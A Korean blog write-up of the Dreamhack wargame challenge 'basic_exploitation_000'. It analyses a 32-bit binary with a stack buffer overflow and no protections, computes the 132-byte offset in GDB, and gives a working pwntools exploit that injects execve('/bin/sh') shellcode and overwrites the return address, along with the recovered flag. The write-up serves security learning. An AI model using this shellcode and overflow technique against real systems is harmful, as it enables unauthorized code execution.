보호 기법 확인
- 32bit 바이너리 → 주소가 4byte 단위
- relro 없음 → got overwrite 가능(여기서는 딱히 필요 없을 것 같음)
- 카나리 없음 → bof 공격 가능
- nx bit 없음 → shellcode 삽입 가능
- no pie → 주소가 그대로 일 것!
바이너리 실행
- buf의 주소를 출력한 뒤, 사용자의 입력을 받고 있음
- buf의 주소가 계속 바뀌고 있음 → ASLR이 걸려있기 때문!
문제 코드 분석 - basic_exploitation_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
main 함수
- buf 배열에 0x80만큼 할당(여기서 0x80은 10진수로 128)
- printf 함수를 통해 buf 배열 주소 반환
- scanf 함수를 통해 141byte만큼 문자열을 입력 받아 buf 배열에 저장
💡 여기서 알 수 있는 점
buf 배열에는 128byte만큼 저장할 수 있는데 scanf 함수로 141byte만큼 입력할 수 있다. → 지정된 버퍼 크기보다 입력 값을 더 많이 줄 수 있어 BOF(Buffer Overflow) 취약점 발생
- 쉘을 실행하기 위한 함수가 특별하게 주어지지 않았으므로 shellcode를 이용해야 할 것으로 보임
GDB 정적 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x080483bc _init
0x080483f0 printf@plt
0x08048400 signal@plt
0x08048410 alarm@plt
0x08048420 puts@plt
0x08048430 exit@plt
0x08048440 __libc_start_main@plt
0x08048450 setvbuf@plt
0x08048460 __isoc99_scanf@plt
0x08048470 __gmon_start__@plt
0x08048480 _start
0x080484b0 __x86.get_pc_thunk.bx
0x080484c0 deregister_tm_clones
0x080484f0 register_tm_clones
0x08048530 __do_global_dtors_aux
0x08048550 frame_dummy
0x0804857b alarm_handler
0x08048592 initialize
0x080485d9 main
0x08048610 __libc_csu_init
0x08048670 __libc_csu_fini
0x08048674 _fini
- 사용자의 입력을 담는 버퍼(buf) 주소를 미리 가져온 후에 저장하는 형태로 진행 됨
0x080485f5 <+28>: lea eax,[ebp-0x80]
0x080485f8 <+31>: push eax
0x080485f9 <+32>: push 0x80486a5
0x080485fe <+37>: call 0x8048460 <__isoc99_scanf@plt>
→ lea로 buf 배열의 주소(ebp-0x80)를 가져와 eax에 저장하는 것을 알 수 있음
→ 여기서 사용자의 입력이 ebp-0x80부터 저장될 것이라는 것을 알 수 있음
→ 또한, 32bit 바이너리의 경우 [buffer] + [sfp (4byte)] + [ret] 의 형태로 구성되기 때문에 ebp-0x80에서 0x80이 buffer의 크기이고, 여기서 sfp 크기인 4byte를 더하면 메모리를 보지 않아도 ret까지의 offset(거리)를 알 수 있음
즉! 사용자가 132byte만큼 입력하면(0x80+4) ret에 도달하여 main함수를 종료하기 위한 return 값을 변조할 수 있음
메모리 구조 확인
- main+42에 bp 걸어 임의의 값(다수의 a) 입력
- main+37에 bp걸면 scanf 함수의 기능이 수행되지 않음
- main+37에서 scanf 함수 원형의 내부 기능을 수행한 뒤의 결과가 아니라, scanf 함수의 내부를 들어가기 위해 준비중인 상태!
- 즉, main+32의 push 0x80486a5의 결과가 반환된 상태임
- 스텝오버(ni)를 진행해야 scanf 함수가 실행되어 사용자의 입력을 받음
- 그렇기 때문에 그냥 main+42에(함수가 실행된 직후) bp 걸어 실행하면 편함!
- ebp-0x80의 메모리를 확인해보면 임의의 입력으로 줬던 a(0x61)을 확인할 수 있음 → 메모리에는 16진수 형태로 저장되고, 리틀엔디언 형식이 적용됨
- 0xffffd0fc에서 ret을 확인할 수 있음
- 0xffffd0fc 에서 사용자 입력이 저장된 ebp-0x80의 주소(0xffffd078)을 빼주면 offset을 구할 수 있음 → 132!
- 앞서 main 함수 디스어셈블 결과만 보고 찾은 것과 동일함을 알 수 있음
메모리에서 ret 찾는법
- pwndbg나 peda에서 bp 걸어서 run 했을 때 보여주는 __libc_start_main+241 값을 보고 메모리에서 같은 값을 찾으면 보임메모리에서 ret 찾는법
Exploit Algorithm
💡 dummy(shellcode) + dummy(132-shellcode_bytes) + buffer 주소(실시간으로 받아와야함)
Exploit
pwntool - shellcode
from pwn import *
p = remote('host1.dreamhack.games', 21806)
e = ELF('./basic_exploitation_000')
p.recvuntil("(")
buf = int(p.recv(10), 16)
p.recvline()
payload = "\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x08\\x40\\x40\\x40\\xcd\\x80"
payload += "a"*(132-26)
payload += p32(buf)
p.sendline(payload)
p.interactive()
issue
💡 shellcraft가 안되는데 좀 더 찾아봐야 할 것 같다.
flag
💡 DH{465dd453b2a25a26a847a93d3695676d}
'Wargame > Dreamhack' 카테고리의 다른 글
[Dreamhack] Basic_Exploitation_003 (0) | 2022.10.14 |
---|---|
[Dreamhack] Basic_Exploitation_002 (0) | 2022.10.14 |
[Dreamhack] Basic_Exploitation_001 (0) | 2022.10.14 |